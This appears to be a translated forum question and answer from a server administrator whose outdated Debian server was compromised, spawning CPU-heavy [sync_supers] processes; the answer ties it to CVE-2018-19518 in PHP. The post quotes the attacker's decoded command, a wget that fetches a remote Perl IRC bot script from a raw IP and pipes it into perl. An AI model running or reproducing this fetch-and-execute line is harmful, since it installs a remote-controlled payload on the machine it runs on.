지난 몇 주 동안 우리 서버의 CPU 부하가 매우 높은 것을 확인했으며 htop을 확인했을 때 많은 [sync_supers] 프로세스가 100%에서 실행되는 것을 발견했습니다. 오늘 나는 원래 명령 호출이 여전히 htop에 있다는 것을 빨리 발견했습니다. 아래 이미지는 스크립트를 실행하기 위한 호출과 결과 [sync_supers] 프로세스를 보여줍니다.
해당 줄을 읽으면 다음과 같이 Base64로 인코딩된 문자열을 사용하여 호출 내용을 숨기는 것을 볼 수 있습니다.
wget -qO - http://185.234.218.248/bt2.txt|perl
다운로드하는 파일은 IRC 서버에 연결하는 Perl 스크립트입니다. 하지만 저는 그것을 잠깐 살펴보았는데(Perl은 모릅니다) CPU를 망치는 것 외에는 무슨 일을 하는지 전혀 모릅니다. 그것은 비트 코인 농업이나 다른 것입니다. 이 해킹을 수행하는 방법에 대한 정보를 찾으려고 노력했지만 지금까지 어떤 완화책도 찾지 못했습니다. 제가 얻은 가장 가까운 것은 Apache 및 이전 커널 버전의 취약점이 언급되어 있지만 세부 정보나 링크는 없다는 것입니다.
안타깝게도 서버 업데이트는 운영 체제의 수명이 지났기 때문에 실제로 실용적인 옵션이 아닙니다. 새 서버를 구입하고 모든 소프트웨어와 웹사이트를 복사하는 것이 더 간단할 것입니다. 애초에 서버를 최신 상태로 유지하지 못한 것은 제 잘못이고, 충분히 인정합니다.
운영 체제 버전:
Linux version 2.6.32-5-amd64 (Debian 2.6.32-35) ([email protected]) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Tue Jun 14 09:42:28 UTC 2011
공격에 대한 리소스, IP 주소를 사용하지 않고 공격을 중지하는 방법 등에 대한 링크가 필요합니다. 현재 가장 좋은 해결책은 wget의 이름을 다른 것으로 바꾸는 것입니다. www-data를 실행하는 모든 [sync_supers]를 종료하기 위해 매분 실행되는 스크립트를 작성하는 것에 대해 생각했지만 killall은 실행할 때 프로세스를 찾을 수 없으며 Perl 스크립트를 보면 프로세스 이름을 변경할 수 있습니다.
답변1
의견을 주신 분 덕분에 JdeBP가 사용된 취약점을 알려 주었습니다.CVE-2018-19518,PHP 버그 #76428. 이 취약점을 해결하기 위한 즉각적인 해결 방법은 PHP를 업데이트하는 것입니다.
즉, 서버를 신뢰하지 않는다는 모든 설명은 작동하며 www-data 사용자에서만 실행되는 것을 보았습니다. 해당 사용자는 http 서버의 파일에 액세스할 수조차 없으므로 문제가 발생할 수 있습니다. 해당 사용자로부터 내가 찾을 수 없는 다른 작업을 수행합니다. 또한 어쨌든 내 서버에 데이터가 심각하게 부족합니다.
교훈은 고통스럽고 때때로 결함이 발생하더라도 항상 서버, 운영 체제 및 소프트웨어를 최신 상태로 유지해야 한다는 것입니다.